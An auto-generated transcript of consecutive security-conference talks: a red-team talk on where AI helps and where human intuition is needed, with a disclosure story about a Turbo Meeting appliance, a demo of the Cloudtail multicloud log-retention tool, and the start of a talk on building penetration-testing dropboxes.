can do like identifying that that specific target was a target of interest with what I explained. I don't see AI doing that. That was like human intuition and analysis. So, I have the human emoji there. The next one is like looking for the source code, the documentation, buying a $500 used appliance on eBay and having that kind of creativity. I don't see AI doing that either. So, that is another one a win for the human in this case, right? going through the source code and identifying the elf binary, looking at the code associated with that. Uh being able to identify even creating the exploit at least to some degree. I think that's kind of a combination of both the human

and AI can probably help you with that workflow as well. So I have both emojis on this one. And then the other one is identifying three CVEes that include remote code execution. Uh I think that's also a little bit of both. So you can kind of get an idea like could AI really solve that entire problem for you? Probably not. You really have to have a little bit of both in this specific case. And I do want to highlight this like this is like true creative red teaming. This is like going outside the box not just thinking you know what you uh like scanning and reporting like this is like real hacker stuff. I mean we had

four weeks to do this. Threat actors that are nation state they have years, months a lot longer than we have. we only had 4 weeks and so in this case we went the extra mile. So now that we have all of these zero days associated with that turbo meeting application, we did a quick show in query to see how many people in the world have this application exposed to the internet and we identified over 300 that had this exposed to the internet. And then we went a little bit further. We have this internal tool called Google cookbook that allows us to use advanced Google searches to kind of do what Shodden does. We identified an additional

hundred. So now we have 400 systems on the internet that are vulnerable to these three zero days that we identified. And so we're like, okay, cool. Let's go into our Salesforce system, identify which one of those are mandant clients. And we identified a couple of those as well. And we ident we notified them. We're like, hey, just so you know, you have this external Turbo meeting uh application exposed to the internet. This is the IP address. strongly suggest you take it down because if an attacker does what we did, you can, you know, could probably uh be compromised. And then finally, we worked with a third party disclosure to actually disclose these vulnerabilities. But believe it or not, this specific

RHub like company, they were very like apprehensive to us. They're like, "You know what? No, you're freaking lying. We don't believe you. We're not going to patch [ __ ] Like, you know, you're just like a bunch of hackers trying to get money." We're like, "We're not asking you for any money. we're just asking you to fix your [ __ ] like we don't care about anything else. And they were like, "No, no, no. You're just lying." So they were actually very difficult to work with. But eventually we got to a point of getting the CVE released and publicized so that people understood this. But this extra mile piece I also think is important because the the AI

can probably help you with the showdown part. it could probably identify a lot of like externally exposed uh devices, but the disclosure piece, they're working with the the actual like companies to explain this and getting like the CVES released is the human part. So, I think that's where you kind of need a little bit of both. So, my overall observation of this new threat landscape and like the evolution of AI and incorporating into your workflows, I truly believe a breach is kind of inevitable. Again, supply chain attacks, zero day compromise. We're seeing this all the time. Even the one use case I just gave you on the red team like if attacker has enough time they're going

to find a way. So you really want to reduce the impact of a breach. Uh I think that you know you have increased risk so you have to increase your strategies and defenses. I do think AI is a powerful tool that you should incorporate into your workflows if you do it strategically and in in a in a smart way. Don't just assume AI is going to solve all your problems like you saw just in the examples I gave you. It's not going to solve all your problems, but it can supplement you and help you in a lot of different ways. It has its limitations, of course. I do think you have to keep a human in the loop. Uh, as

I explained throughout the entire presentation, remember that they like structured data. So, if you are going to be using AI to help supplement your workflows, try to do it in a structured way. We have playbook automation that we're doing right now. Um, and we're using YAML files to automate some of that playbook anim uh automation because again, it's a structured format. It has the exact playbook in a structured way. AI can ingest that really well as well. Some other cool examples that I couldn't mention today that we do that are really high impact. So like you saw that one use case I gave you, our red team specifically, even though we're one of the largest red teams in the world,

we're still kind of boutique in nature. We still do these very creative cool things. Some recent cool things that we've done, we were able to prove that we could move a a train. We hijacked the uh control system. We reverse engineered and created our own control to actually move a train forward and backwards. We were able to compromise a cruise ship uh which was also really big and we've done many other really cool things as well. Uh a word of caution if you are going to use open- source frameworks if you are going to use AI if you're going to use uh a lot of like cloud and open AI if you don't fine-tune your data if you

don't truly rag and ground your data it's not bulletproof it's also vulnerable to hallucinations and you know bias and all these other things that that are that are currently risks associated with using LMS and AI in your environment um make sure you try to use security best practices associated with that as well you know there's some frameworks out there. This is just one that Google released called safe uh that's really good. There's many other ones as well. I just want to give you that word of caution before just going out and conquering the world with AI. Um thank you for having me. I don't know if I have time for questions. This is my QR

code for my LinkedIn if you want to connect with me. Um and again, I really appreciate you having me.

So, we have a microphone in the audience. Maybe a few quick questions. Anyone? We just want our time to scan QR codes. Okay, cool. I'm glad someone got something out of this presentation. Anything else? If you're too shy, I'll be at the bar later. Kidding. someone in the front or in the back. All right, cool. Oh, it's a Okay. Hey, uh Dio, really great presentation. Thank you for that. Um you all agree, I guess, that AI is a powerful tool. Um but sometimes one of the concerns is it's reliability uh of the results and uh you have a slides on that you have numbers that you measure how good AI does and it's not often that we see that

um the slide about you know carving credentials from files you had the number there so I was wondering if you did some uh rep uh if you repeated your result or your uh testing to see if the results change when it comes to numbers and if using a rag approach would actually fix that and have same results approximately all over again. It's a great great question. The the the reason those results existed in that one example was because it was comparing to two other open- source tools. The problem with the other examples that it's it's still using Blood Hound and aggregating the results to like you know correlate analysis but does human analysis unfortunately. So, it's

difficult to have like a certain percentage of results tied to your own intuition of reviewing groups and users and coordinating those with computer names and all that. There's not like an actual tool that does a great job at that specifically to compare the results to. So, I didn't have statistics associated with that cuz I don't have exact numbers other than like you doing it on your own. But, we did prove it much quicker and like a really good at least like first glance go look at these exact things cuz it gave you like those results pretty good. And my opinion does great. But unfortunately, there's no real statistics because it wasn't compared to another tool. Any other questions over there in

the

back? Hi, thank you for your presentation. uh when you said that searching credentials with AI was slower but than with the tools uh would running the models locally with Llama or something make it comparable or faster? That's a great question. So I did not do this with like a local LLM that you're hosting on your own for example to like kind of allude to what you're describing. So I don't know the answer but I would imagine it's going to be much quicker if you have a local LM that you're hosting. So that would be a good test to see if it would be better. And honestly, you could probably even do both. Like if you notice that

the the the results like the false pos that the the the the true positive rate wasn't higher with Gemini. So if it were if it were me, like I would probably honestly just do both to like compare the results um you know with with even using the public like AI. Just remember guard rose and pedantic. Like if you just go do what I described and ran those prompts against like Gemini without it having a structured prompt with structured data, you're not going to get the same results. So you have to use that same workflow that I mentioned earlier. What's that? We have to move on. Okay. Sorry. Thank you all for your time. If you have any more questions, you can

come up to me after. All right. Cool. Thank you, Evan. Next up is Ila Doani. the Johnny. Yeah. All right. So, Ella is associate threat researcher at Permissio Security and her talk is cloud tail making head or tales of selectively retaining multicloud logs. And what is cloudtail? they are publicly releasing here today, I believe, is an open-source framework designed to simplify the long-term retention and searchability of a highly configurable uh curated list of cloud events across numerous cloud providers.

All right, the floor is yours.

All right. Hello everyone. Today I'd like all of you to picture like we're in the cloud. Logs are raining down on us. Not just a few, but thousands per second. Some are priceless. Most are noise. And somewhere in there is the one that tells us everything we need to know. Here's the catch. We're not using a seam. We can't store everything we don't want to. And yet, we can't afford to miss what is important and what we need. Today, we're going to explore on how to make sense of all that cloud noise across AWS and Azure. And we're going to see how we can do that in a very much simpler way without a heavy

tooling or a massive budget. First, we'll kick things off with an introduction to the problem. The challenges that we're facing in current cloud log management. Whether you're working in AWS, Azure, or any other cloud platform that you may be using, you know how quickly things can get complex. Then, I'll introduce our solution, Cloudtail, and explain how it addresses those challenges. We'll look through how it allows you to effectively manage logs across your accounts, giving you control over what to retain without the need for a heavy expensive seam. Finally, we'll dive into the fun part, a tool demo where we'll see Cloud Tail in action. I'll walk you through how it works and what are its key

features. Before we jump in, I'd like to give a very quick intro of myself. My name is Zaya Dojani and I'm an associate threat researcher at Permiso Security and I'm also a recent graduate in software engineering. I've been in the technology world since I was 14 and it's like very special to be here today actually because this journey started from me in Pristina when I participated in this tech camp for woman that was being organized here at that time and I can say for sure that that was like the key experience that sparked everything and led me to where I am now. All right. So I'd like to take a moment to highlight something fundamental to all of us working in

cloud computing logs. At first glance, logs might seem just like technical byproducts. But what happens when um you can see that they serve as a a detailed record of every action, event, and alert uh within your systems, essentially the systems diary. Whether it's ensuring operational stability, investigating security incidents, logs are a foundational component for maintaining visibility accountability and resilience in cloud. From an operations perspective, logs are even more important. They provide critical insights into systems uh performance, helping with diagnosing issues and uncovering inefficiencies before they become bigger issues. It is much like a weather forecast for your systems. Uh logs reveal patterns and trends, allowing teams to proactively address potential problems. Uh for example, logs

can reveal when a resource is approaching capacity, giving you time to avoid an outage. But in the dynamic and complex world of cloud environments, managing logs isn't easy. The sheer volume of data that comes with it, distributed across all these services that you may be using, can make it difficult to identify what truly matters. That's why it's not just about having these logs, but it's more about making them useful. Things get complicated when managing logs from multiple platforms like AWS and Azure. And especially when you're no longer dealing with just one service, but you're handling logs from multiple services at once. Imagine you're trying to track user activity. You might be checking your AWS logs to see if anyone

changed permissions in an S3 bucket. And at the same time, you're reviewing octa logs to figure out who logged in and from where. It's like juggling different tools, each with its own way of tracking events. Starting with AWS's cloud trail is like AWS's camera capturing every API call made within your environment. Whether it's launching an EC2 instance, changing permissions, or reading an S3 object, CloudTail logs all these actions, providing detailed visibility into who did what and when. This tracking goes beyond just monitoring API calls. It also logs any changes made in within your environment and to your resources, making it essential for understanding how it evolves over time. Cloud Trail then stores these events securely in an S3 bucket, allowing you

to retain those logs for long-term analysis, enabling you to conduct security analysis such as identifying unauthorized success, detecting anomalies, or investigating incidents. It's super detailed, making it one of the most thorough logging services available in the cloud. Compare that with Azure activity logs. These are a bit higher level with resource chain tracking. Azure logs whenever a resource is created, deleted or modified, giving you visibility into all the changes across your environment. It also helps with service health monitoring by logging service level issues and alerts. For security event logging, Azure activity logs provide insight into security related actions like policy violations, access denials, or potential security threats. Additionally, Azure offers data plane logs which track operations related to

accessing or man manipulating data within your resources such as reading or writing to a storage account. Both AWS and Azure logs are important, but they have slight differences into the way that they are structured and accessed. And when you start combining these logs, you can see how cloud log management turns into a big challenge. Moving on to our first case. What happens when you're not using any log forwarding and you're just relying on direct API access for your logs? Imagine this. You're uh you've got a security camera set up around your house, one of those fancy systems with cameras all over the place. Now, let's say that instead of saving the footage to a cloud

or DVR, you can only access the video by plugging into each camera individually. And to make things worse, each camera wipes itself clean every 30 to 90 days. It feels like a headache waiting to happen, right? And that's pretty much what it's like if you're just relying on direct API access for your

logs. In Azure, activity logs are retained for just 90 days by default. That might seem like enough time, but until you need to investigate an incident that occurred like 6 months ago, by then those logs are long gone unless you proactively have rooted them to Azure storage or log analytics workspace where they can be retained there for up to two years. In AWS, it's a similar story because Cloud Trail keeps your event history for 90 days unless you configure it to deliver log files to S3 and when installed in S3, these management and data events can be retained indefinitely, but only if you set up the life cycle policies correctly and if you manage them regularly. The

key takeaway of this is that the extend retention is possible, but it's not automatic. Even with these options, 90 days to two years might not cut it depending on your needs and especially for organizations with compliance mandates or long-term uh investigation requirements. To truly gain value from your logs, you need to go beyond defaults and design or retention strategy that meets your business requirements. Another pain point that we can see is API throttling, which is a manual limitation that many overlook until it becomes a real problem. From a technical perspective, throttling is a built-in control to prevent API abuse and ensure fair resource allocation. But when you're working with high volume log data, especially across log platforms,

uh these limits can become a real bottleneck. Take AWS's cloud trail lookup events API. You're allowed just two requests per second per account. If you're if you're running an investigation over a broad time range or quering multiple accounts in parallel, this limit can quickly slow you down. For example, if you're trying to pull 30 days of activity during an incident response, hitting that cap can stretch a 5 minute long query into several hours unless you implement proper pagination and backoff strategies. And this isn't just an AWS problem. Actually, many platforms like Azure and other ones have similar throttling mechanism in place to avoid overloading their systems. The consequences of this are delays in log retrieval during critical

investigations, gaps invisibly invisibility if your tool doesn't handle throttling gracefully. We also have loss fidelity if timesensitive logs uh expire before being collected. And when you're aggregating data from AWS, Azure, and octa all at once, each with its own throttle uh throttling rules and rate limits, managing this can get tricky pretty fast. So yes, API throttling isn't just about waiting in line, but it's about designing your system to handle the weight without losing what matters. Even with the logs collected and retained, another major challenge that emerges is limited search functionality. Imagine needing to investigate a specific event like a user deletion or suspicious login only to find out that your tools can't help you narrow it down effectively. In AWS and

Azure, filters do exist, but they're limited to specific parameters such as event name, event source. And if you're looking for logs where you only know the partial details of, like a partial username, or an IP address, you won't get far because they don't support fuzzy matching, wild cards, or multi-attribute filtering. Let's say that if you try to find a suspicious add user action, but the event was logged as add user or add user from group, we don't see any results without fuzzy matching. traditional long search won't catch it unless you know the exact term and that's a big blind spot during investigations. This lack of uh flexibility becomes a major blocker when you're performing exploratory thread

hunts. You're correlating logs from multiple platforms like Octa or AWS and you're under time pressure and don't know the exact search terms. The result of this would be that the valuable insights may be hiding in the plain side but they are inaccessible due to search limitations. Let's now take a look at another case, native log forwarding. This is where cloud providers offer built-in options to send logs directly to a destination, whether it's a centralized storage or a seam. While this sounds convenient, it introduces significant challenges and limitations that impact how effectively you can manage these logs. First up is filtering limitations. In AWS, you have this advanced event selector tool that allows you to fine-tune which events you want to

capture in Cloud Trail. You can use it to uh to apply filters based on a variety of attributes like resource type, event source, or readrite operations. However, there's a really well-known drawback of this. You can't filter by the event name property for management events. And here's where things start to look like groups gone wrong. Because instead of neatly saving only the events that you want, you're forced to capture everything and all management events. So instead of focusing on the important actions like creating or deleting IM users, you end up drowning in logs overwhelmed by all the noise. It makes targeted investigation so much harder and you're left sifting through everything just to find that the crew those few critical

events that you actually need. Now that we've seen how limited filtering can lead to excess noise, let's explore another key challenge which is handling the sheer volume of logs in large-scale cloud environments. Even when logs are successfully roted to high volume storage or seam, managing and quering the data efficiently remains a hurdle in environments like AWS or Azure. Running realtime searches can introduce performance issues resulting in delayed responses and or even failed queries. It's a bit like trying to keep up with an endless stream of logs just to stay in the game, the volume keeps growing, the queries get more complex and your tools are left scrambling to keep the pace. For example, while tools

like Splunk are known for their powerful capabilities, they can still experience slower search times when handling a massive volume of logs. Similarly, other databases can f can face performance challenges with complex search queries and this can become a significant issue when time is critical such as during a security incident where log analysis is essential. That is why it is like really important to use tools that help speed up log access and improve performance during these urgent situations. Beyond these specific challenges there there's also a larger issue to consider which is managing logs across multiple cloud platforms adds a significant layer of complexity and one of these biggest concerns is cost. Storing and searching through the vast amount of logs

especially over long times can become very expensive. Most organizations simply can't afford to retain every log from platforms like AWS, Google Cloud, Azure or Octa since these logs often include millions of event many of which may be irrelevant for day-to-day operations and they make it impractical to collect and process all of them. This is why it is essential to focus on a curated set of high-v value events and instead of ingesting every single log, you prioritize those that offer the most utility for audits, compliance or security investigations. The challenge however lies in determining which events are truly valuable. Adding to the complexity, each platforms logs events differently both in terms of structure and content. This means that you need

tailored approaches for filtering and storing logs from each provider. Striking the right balance between capturing enough data to support incident control, incident response and controlling to not overwhelm your budget has become an often uh has become often a frustrating task. So stepping back for a moment, let's look at the big picture. Managing logs in a multi cloud environment, whether it's AWS, Azure or Octa or any other service has its own um limitations. Each platform comes with its own set of challenges. Limited search capabilities that make it difficult to quickly find the information that you need. API throttling that restricts how often you can retrieve these logs. Also, we have uh the log volumes that can quickly spiral out of control

and short retention periods that force you to act fast before data disappears. It's a bit like trying to piece together a puzzle where some pieces are missing, others don't quite fit, and the picture keeps constantly shifting depending on which cloud platform you're looking at. But imagine if we could simplify this maze. What if there was a way to cut through all this complexity and manage logs across these platforms effectively without getting bogged down by their individual limitations? That's where cloud tail comes in. The name might sound familiar and that's intentional. Cloud trail AWS's cloud trail records AWS API calls for your accounts and delivers log files to you. Now cloudtail is a play on that.

Think of it as stealing your cloud logs across multiple cloud platforms. It is an open source tool designed to cut through this complexity of multiloud log management and it simplifies the process by focusing on what really matters storing and searching only the important cloud events that you need and doing so in a cost-effective way. It supports both Azure and AWS, giving you a unified approach to managing logs across these platforms without the need for a heaviest seam solution. Let me walk you through the key features that cloud trail offers. It is built to handle logs as I mentioned before both from AWS and Azure, two of the most widely used cloud platforms. This means you can manage these logs

from these platforms in one place without having to switch many uh between many different tools or interfaces. Instead of collecting every single log, most of which may be irrelevant. Cloudtail allows you to focus on high value events and it does so through a simple JSON configuration file which allows you to be a specific or as broad as you may need. This uh JSON configuration file supports wild card matching where you can capture entire categories of events like delete all to track deletion activities and it also has the support for JME path filtering which allows you for advanced filtering and quering of logs ensuring that you can only retain the events relevant to your needs. The default configuration file that we

have provided here contains a curated uh set of high value events that we have identified as the most important one for security operations. These include uh events related to user management, resource changes and security alerts. But however, users can modify this configuration file depending on their needs on their specific needs adding more detailed filtering or uh customized event filters as required. Instead of storing all logs indefinitely, which can be costly, Cloudtail stores logs in their row format locally while extracting and normalizing key attributes for easy and efficient searches. This means that you can retain access to critical logs without uh minimi with minimizing unnecessary storage costs. Cloudtail is also designed to run on a scheduled basis

ensuring continuous processing of AWS and Azure logs and after each run it automatically picks up where it left off fetching new events based on the last successful execution time. It can process up to 30 days of logs in one run but it is optimized for regular scheduling such as daily or hourly. This approach ensures that you can continuously collect and store these logs without needing to worry about duplicate events. What we're seeing here is the JSON based configuration file where we can define the data sources that we want to track for AWS under account profile pairs that we can see in the configuration file. We have to specify the account ID of the AWS account and also the profile name to

indicate which cloudtail uh cloud trail data source we are pulling from. Below that, we also have the lookup attributes where each event is labeled with a rule name such as AM user management to group similar types of actions under one rule. Then we can define the exact events that we are interested through the ones uh below which are attribute key and attribute value. While in most cases attribute key set to event name to track specific events like create user or delete role, you can always change this because it doesn't have to be limited to event name. You could use other keys like user agent or source IP address. One of the key features that also cloudtail offers is the ability to

use wild card matching. We can see that in this configuration file there is an example where we have the delete wild card that will capture every event where the name starts with delete such as delete user delete ro or delete bucket. Another feature that cloud sales supports is also JME path filtering which allows more advanced quering and filtering of logs. For instance, if you only want to capture create user events where the user's role is admin, you can use a JME path expression to filter the results. As we can see in the configuration file, similarly, we do it for Azure activity logs. We do provide the subscription ids and define these specific operations. Azure side also supports the

wild card match the wild card match, but it does not support the JME path. Now that the configuration file is all set up, we can run the tool and start by looking at the help section of it and the basic usage of the tool. These are all the flags that you can use to make the tool work to run it. The only required argument is specifying that configuration file that you want to use and filter based on. The export option allows you to export all processed events to a JSON file. It works alongside the output directory to specify where the exported file should be saved. If you don't include this output directory, the export export will default to the

project folder. The other option that you have allows you to specify a time range to export events. You need to provide a start date and end date when you only want to capture events from a specific execution time. We also have the database directory which is the last one and this allows you to specify the directory where the tool should store its database files. By default, the tool stores these files in the project folder, but you can change this location using this option. Now we can try running the tool through the main command and specifying the default configuration file.

The output will look like this. For every rule, it will print the lookup attribute. It is quering, the time range for the logs being queried. After quering, it prints the number of the events for this particular rule and the table. It wrote the results in your database.

Now we can also try the other command which is exporting these process events to JSON.

In this example, we won't specify the output directory. So the tool will get it like by

default. It first checks if this spec if we do specify a directory, it first checks if that directory exists. Since we didn't specify it, it was created automatically and the tool successfully prints the message and the number of the events that were exported to the JSON file alongside the name of the JSON file that they were exported to. Uh the other message indicates that also no events were found for Azure logs in the specified time range. Here we can see uh that the results are stored in different database tables which help organize the event data. We have the cloud trail events and Azure events which are two tables that store the meta data and for full event

details for AWS and Azure logs respectively. We here have different um columns for all of the keys that are normal normalized like account ID, profile name, event name and so on. Another table that we have is the execution history which tracks the execution history of the cloudtail tool recording when specific rules were ex executed and which events were processed during that time. We also have two more tables which are lookup attributes table and event lookup attributes table which store lookup data and attribute mappings for the events. These are used internally to link attributes with specific event data fields helping cloud tail query and process these events more efficiently. The last table that the tool has is the rule matches one which

stores information about events that match specific rules defined in your configuration file. It helps you track which events have triggered a match based on the rules that you've set up to. Before we wrap up, let's highlight three key takeaways from today's presentation. Properly configuring log retention and quering helps you to detect and respond to threats efficiently. Cloudtail simplifies that process by focusing on the most critical events and ensuring that only the high valued data is captured without overwhelming your systems. It is designed to make long-term cloud log retention and searching more accessible especially for smaller organizations. And I have to know that it is meant not meant to replace a seam but to complement it. Working alongside similar

tools to streamline the volume of logs of the volume of logs sent to seams optimizing both storage and analysis process. Thank you all so much for being here today and for your time and attention. And I'd like to give a special shout out to the most amazing team here in the room that make the work very fun. If you have any question feel free to reach out later to me today. You can also find me at the booth and you can also find me on LinkedIn where I'd be happy to continue any conversations that you may have. Here's also the link to the cloudtail tool that we discussed today. I'd be happy if you go ahead and

explore it and let me know if you have any suggestions and I really look forward to hearing your feedback. There's also many cool tools that Permisso has released lately. So, make sure to check on them again too. Thanks all. [Applause] Thank you. Now it's uh lunch time. I'll be back here at 1:00. Lunch is upstairs.

All

right. Uh before we get to the speaker in this room, heads up for a 1:30 workshop coming up by Balash Buchai. Uh defeating encryption by using Unicorn Engine. So that's at 1:30 the workshop. And now the uh speaker in this room um Chris Carlos from Zurich Insurance building penetration testing dropboxes. Chris explores the art and complexity of building effective penetration testing Dropboxes guiding attendees through critical decisions on hardware, software, stealth, and legal considerations to create reliable goal-driven tools for internal network access. Chris, floor is yours. Thank you very much. Oh, this nice. This microphone's like super

sensitive. Okay, everyone. Thanks for coming back from lunch to learn about building penetration testing dropboxes. As mentioned, I'm Chris Carlos. Uh yeah, hey, that's me. Uh, a little bit about me. Uh, I work in offensive security, red teaming, penetration testing. I've been doing that for a bit over a decade now at that point. Um, you meet a lot of people who say, "I I was a pentester. I used to be a pentester." And then they move on to some grownup job in security like blue team or or CISO or something. And uh, so far that's not me. Uh, I love hacking. I love penetration testing. I love coming to conferences and talking about it. It

is the coolest [ __ ] out there. I will keep doing it until they make me stop. Uh, when they pry your computer from my cold dead hands, that's when I'll be done. Um, I love the work that I do. I've worked for a number of years uh as a penetration testing and red teaming consultant at various different places. Uh, I work now in-house at Zurich Insurance. They don't care uh about me enough to like have their name on the slides or something. So, screw them. Buy insurance somewhere else. I don't care. Boss, if you're watching this YouTube video, that was a joke. Um, I also do some, you know, freelance penetration testing stuff. Just fun stuff. Uh, I like hacking. I

like talking about it, like I said. And that's what we're going to do today. Um, I'll tell you a little bit about the journey of this and uh how we got to this talk and maybe you'll learn something, maybe you won't, but at least an hour will have passed approximately. Why Dropboxes? I started making this talk and I started telling people about this talk. I'm like, I'm going to do a talk about making Dropboxes. And uh even amongst the security industry folks I was talking to, I got a lot of what are you talking about? Um and I'm like, oh, we should maybe back up. Uh what are Dropboxes? What am I talking about here? Uh it's

kind of niche even for pentesters. This is a little bit niche. Uh in this situation, a Dropbox is usually a relatively small system that uh we used to provide remote secure access generally for some sort of security testing purposes into an internal network environment. Uh we have a box and we're just going to drop it on your network. There's other ways to get this done, but in this case, we're going to talk about actually building out these little physical boxes and making them work and making them do what they want. Everyone on board? We're all cool. Yeah. No questions about what the heck I mean by a Dropbox, not the the software company, not the file sharing stuff.

Boxes. Uh so why why talk about Dropboxes? Like a lot of the things I like to talk about is because uh I did this and I screwed it up. Like I a lot of red teamers, a lot of hackers, penetration testers would like to get up on stage and tell you about all the cool [ __ ] that we do and like ah I'm such a badass door kicker. I I broke in. I hacked the network. The password was admin admin. That kind of crap. Um in actuality, we screw stuff up all the time. We do the dumbest stuff possible. We just don't tell you about that part. Except I'm going to tell you about the

part cuz I I screw it up a lot. and uh you can hear about it and then if you decide to make your own Dropbox, you don't have to make those mistakes. You can make your own stupid mistakes. I look forward to hearing your talk about it. In truth, I've built a lot of dropboxes over my career. Um boxes for penetration testing, boxes for red teaming. Uh, I build them just for like the CTF that they have going on. Sometimes you're at a conference and you got a team of friends, some some random people you just met and you want to do a CTF and it's actually can be a bit easier to collaborate if you're like,

"Hey, I got this little box. I'm going to plug it in, connect to it, Wi-Fi, we'll all jump on sharing files and and it has all the tools we need built into it." That kind of stuff. Uh, so you start building these things and and like I'm going to build a Dropbox and you look on the internet. Um, and there's guides, there's blog posts. In like 2014, uh, a gentleman, uh, uh, Philip Pstra, he wrote a book called, uh, hacking um, hacking and penetration testing with low power devices. And, uh, they'll be like detailed steps. They'll say, here's the code and here's the hardware that you buy and here's how you put it together, and here's how you make it work. And you

can do that maybe. And generally, yeah, it'll work, but you're not going to have your your your Dropbox. You're going to have someone else's bo drop D dropbox made to do what they wanted to do. Aside from all that, nobody updates this [ __ ] The blog posts, the the book, uh the guides, they are all out of date. this talk I'm giving right now, I'm going to mention [ __ ] that's already out of date because I put it in there and then like last week someone's like, "Oh, I got new stuff." I'm like, "Damn it. It's impossible to keep up with this." So, I can't stand up here and say like, "Here's here's what to buy. Here's the,

you know, the code to use." Um, instead, we're going to talk more about the process. Um, just real quick, you might be saying like, "Hey, can't I just can't I just like give Hack Five some money and uh and and they'll just sell me a Dropbox?" I mean, one, what did I just say? No, but yes, of course you can. You can you can give them money. And are you guys familiar with Hack Five? Anyone want to name all this kind of crap up here? Obviously, you can give Hack Five money or whoever money at selling these things and they'll do kind of mostly what they're they're supposed to do. This is what all this stuff is.

But you're still going to run up in the same problem. The limitations of the hardware that they chose and the software and let's be honest, kind of like the training wheels guard rails that they put on their software so you can't do whatever you want with it easily. Uh make it so it's not the ideal situation. I mean, does anybody have a Wi-Fi pineapple? No. Good. Like, I've Here's the thing. I And I'm sorry, Hack Five. I do not like the Wi-Fi pineapple. Pretty much because I've spent all the time I've ever spent with a Wi-Fi pineapple has been trying to get it to work and it it never has. Uh, and I'm like, I'm going to do this wireless

pine test. We'll use this pineapple. I own four of them. I don't I'm not even sure. They just they're growing like fruit in the house. So yeah, if you can buy stuff if you want to make easy mode, you know, pick up the packet squirrel or something, see what it does. Maybe it'll do what you need it to. But for the most part, uh building your own little custom stuff is is fun and there's lots of options and it's pretty easy to do nowadays. So uh that's what we're going to talk about. We're going to talk about the decisions that you need to make to build a Dropbox that suits your needs. And uh really it's a talk we're going to

have to make some decisions. Not so much like I don't give you answers. I'm like here's here's a bunch of annoying other questions you're going to have to ask yourself in order to to get this project done as well as some pitfalls. some that's going to be like nothing interesting, just me yelling up here the entire time. Uh, we'll talk about that and we'll talk about um some of the hardware and and uh communication options, some stuff out there like you've probably heard of a bunch of it, but maybe some it's a little bit weirder. Some fun stuff to try out uh as you're poking around uh to run through. Oh, hold on. I got I

got like bells and whistles. No, thought I had at least one bell, one whistle. There we go. Ah, check that out. Uh, whatever. What we're going to talk about, uh, we'll talk about testing goals, which is really really going to drive the majority of the actual decisions you have to make as you're you're putting this together. So, like, what the hell are you trying to do? Like, if you're just like, I'm making a thing. Oh, well, fantastic. But usually if you're building this for work, you have a specific job. You need these things to do. Uh the budgets which are going to throw a whole bunch of super annoying constraints on what you can actually do. Uh we'll talk about the

hardware options and some stuff within there. some software which is eh software uh the fun stuff which is like the communication options and uh some of the accessories that I generally recommend that you at least consider um and then we'll we'll cap it off with some operational security so you don't do all this work and then immediately have stuff ruined and then tips on not screwing it up any more than you have to um or at least try to avoid getting yelled at or having the cops called or something like that. Testing goals. What are we looking to do? Um, assuming it's not like some CTF thing you're just doing for fun. Generally, it falls into penetration

testing and red teaming and uh these things are fairly similar, right? Yeah. Like penetration testing is just like red teaming is a penetration test after marketing got a hold of the material and they're like, "Oh, we can charge we can charge a lot more money if we call it a red team and like what do we do different?" Like nothing. No. Uh you'll get my opinion on it. uh which is there's no hard and fast standard. But in general, in my experience, penetration tests are looking to answer how an attacker with access to an environment uh might look to compromise a target. Uh it's generally somewhat limited in scope, specific like internal network, external network. Uh stealth, being

quiet being sneaky, not not not the top priority. uh often like it might just be announced, everybody knows it's going on or you know you got a job, you got to get it done and so you're not trying to be quiet and so someone quickly notices like there's a weird system on on the network doing stuff. Um and they say, "Oh yeah, it's a penetration test." It's like, "Oh, okay." And then you just keep on working. Um, you're testing in general the combined uh in place controls to see uh if there's any gaps that can be exploited in there. Penetration testing. Red teaming, uh, on the other hand, is more like an an attack simulation. Um, where what's being

tested now includes how the defenders detect and respond and react to the attack that's going on. Like hopefully they see it. Um, hopefully maybe they can stop stuff. Dropboxes that we build can be used for, you know, both penetration and and and red teaming, but generally red teaming, you're trying to not get caught. You're trying to be stealthy. And so the box that you would build to do a penetration test might be considerably different than the box you would build for red teaming work. What kind of stuff do we mean by that? Uh, two pictures. No. All right. I don't even know why am I trying this. I can just do this. Let's do some red teaming. This is

a small little box. We'll talk a little bit more about that later on. Um, it's tiny. It's hard to see. This, uh, from my friends at Secure Yeti, uh, they call it the Beast. It is a a massive penetration testing Dropbox loadout. They send this entire Pelican case off to the client. It is built to do specific work. It is built to support a team of penetration testers all working at the same time. Um, it allows it has like a a solid number of of network connections. They can test multiple well segmented VLANs uh concurrently. So, it's just plug this thing in. It has everything they need. Infrastructure instructions. You got to have a client

that can support um this level of effort, but it's a beefy little setup here. Um it it's running its own hypervisor. You can they spin up new VMs. We need a Windows VM for this test. Spin it up. Everybody wants their own testing virtual machine. Let's do that now. Um, and so obviously like they put some thought into what they needed to do to do penetration testing and it's, you know, no one's going to sneak into an office and try to install this level of crap. It'd be crazy. So this is what we mean when like the goals that you have for your test are going to drive the decisions that you're going to make when

building these boxes out. Um, we're not really building general purpose boxes. Um, the penetration boxes will give you more flexibility. Um, and really like back in the day, cuz I'm old, uh, we just like would send out a laptop. Why not? Like people know how laptops work. You ship that off and you say, "Hey, plug this into your network." And you hope that they can. Uh, and uh, and then you you do the test and you're like, "Please send us back our laptop." and hopefully they do. It's a bit hit or miss. uh other options nowadays aside from these boxes which I happen to like we see a lot of stuff where here's a virtual machine spin it up in your

virtualization environment or really just like VMware player or whatever on one of your boxes and and run this or conversely like uh some sort of agent like like a mythic or C2 agent uh that's running on a compromised host for purposes of testing and still getting the same basic job done from a software point of view. But um in certain situations, the physical boxes come in handy. So we can um yeah, can you use your penetration testing box for red team? Maybe. Kind of depends how you build it. Might be stealthy enough. Might, you know, you might be able to place it somewhere where no one's going to notice it. Can you use your red team box for

penetration testing? Probably. Um, but is it going to be strong enough? Is it going to have enough options? If it's going to have what you need in order to get the job done the budget, nobody wants to deal with this. If we were all at Google, Mandant Cloud, um, he's not here to yell. Oh, hi. Uh, with where I assume they just have unlimited budget. Yeah. Uh, you could just have custom hardware made, get some of those devs to make you some custom software. You You don't You got whatever budget. Um, you can convince the boss uh to give up. Uh, you have whatever you can convince your partner is legitimate to spend on this crazy little hobby of

yours for making these little computers. Uh, it's an annoyingly limited factor. The good news is there's just a lot of options nowadays. Like honestly, computers have gotten cheaper and more powerful pretty consistently. So, aside from just how much money we can spend, not only getting this hardware purchased and set up, but also um whatever backend support you need on that. Uh, another major budget we consider is the time because maybe you're broke, but you got like a lot of time to be broke and you're trying to fill up that that bucket of like let's get this project done. Like you need ultimately the idea is like I want to have a box that does what I want and works at the end of it

